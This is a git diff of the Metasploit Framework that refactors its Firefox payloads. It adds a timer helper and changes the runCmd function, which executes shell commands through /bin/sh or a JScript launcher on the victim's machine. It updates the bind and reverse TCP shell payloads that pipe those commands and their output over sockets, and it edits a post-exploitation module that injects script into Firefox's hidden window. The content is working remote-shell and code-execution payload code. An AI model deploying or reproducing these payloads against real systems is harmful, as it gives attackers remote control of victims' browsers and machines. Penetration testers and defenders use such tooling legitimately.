diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index 1f3c0055ca..6bcbc75b89 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -4,6 +4,19 @@ require 'json' module Msf::Payload::Firefox + + # Javascript source code of setTimeout(fn, delay) + # @return [String] javascript source code that exposes the setTimeout(fn, delay) method + def set_timeout_source + %Q| + var setTimeout = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + | + end + # Javascript source code of readFile(path) - synchronously reads a file and returns # its contents. The file is deleted immediately afterwards. # @@ -54,18 +67,44 @@ module Msf::Payload::Firefox # @return [String] javascript source code that exposes the runCmd(str) method. def run_cmd_source %Q| + #{read_file_source} + #{set_timeout_source} + var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; var runCmd = function(cmd, cb) { - if (cmd.trim().length == 0) return; + cb = cb \|\| (function(){}); + + if (cmd.trim().length == 0) { + setTimeout(function(){ cb("Command is empty string ('')."); }); + return; + } var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; - Function('send', js[1])(function(r){ if (r) cb(r+tag+"\\n"); }); + var sync = true; // avoid zalgo's reach + var sent = false; + + var retVal = Function('send', js[1])(function(r){ + if (sent) return; + sent = true + if (r) { + if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); }); + else cb(false, r+tag+"\\n"); + } + }); + + sync = false; + + if (retVal && !sent) { + sent = true; + setTimeout(function(){ cb(false, retVal+tag+"\\n"); }); + } + return; } @@ -116,13 +155,13 @@ module Msf::Payload::Firefox var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); - cb(cmd+"\\n"+readFile(stdout.path)); + setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));}); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); - cb(readFile(stdout.path)); + setTimeout(function(){cb(false, readFile(stdout.path));}); } }; | diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 0c59c12b3d..a333381bed 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -66,14 +66,13 @@ module Metasploit3 onStopRequest: function(request, context) {}, onDataAvailable: function(request, context, stream, offset, count) { var data = NetUtil.readInputStreamToString(stream, count).trim(); - runCmd(data, function(output) { - outStream.write(output, output.length); + runCmd(data, function(err, output) { + if(!err) outStream.write(output, output.length); }); } }; }; - #{read_file_source} #{run_cmd_source} serverSocket.asyncListen(listener); diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index ecc889cfbb..2604fc9beb 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -51,13 +51,12 @@ module Metasploit3 onStopRequest: function(request, context) {}, onDataAvailable: function(request, context, stream, offset, count) { var data = NetUtil.readInputStreamToString(stream, count).trim(); - runCmd(data, function(output) { - outStream.write(output, output.length); + runCmd(data, function(err, output) { + if (!err) outStream.write(output, output.length); }); } }; - #{read_file_source} #{run_cmd_source} pump.asyncRead(listener, null); diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index cd6cc0b5da..993d3291b6 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -7,6 +7,9 @@ require 'msf/core' require 'json' class Metasploit3 < Msf::Post + + include Msf::Payload::Firefox + def initialize(info={}) super(update_info(info, 'Name' => 'Firefox XSS', @@ -47,6 +50,8 @@ class Metasploit3 < Msf::Post %Q| (function(send){ + #{set_timeout_source} + var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"] .getService(Components.interfaces.nsIAppShellService) .hiddenDOMWindow; @@ -60,9 +65,9 @@ class Metasploit3 < Msf::Post var evt = function() { if (hiddenWindow[key]) { - schedule(evt); + setTimeout(evt, 200); } else { - schedule(function(){ + setTimeout(function(){ try { send(hiddenWindow.Function('send', src)(send)); } catch (e) { @@ -72,13 +77,7 @@ class Metasploit3 < Msf::Post } }; - var schedule = function(cb, delay) { - var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); - timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT); - return timer; - }; - - schedule(evt); + setTimeout(evt, 200); })(send); |.strip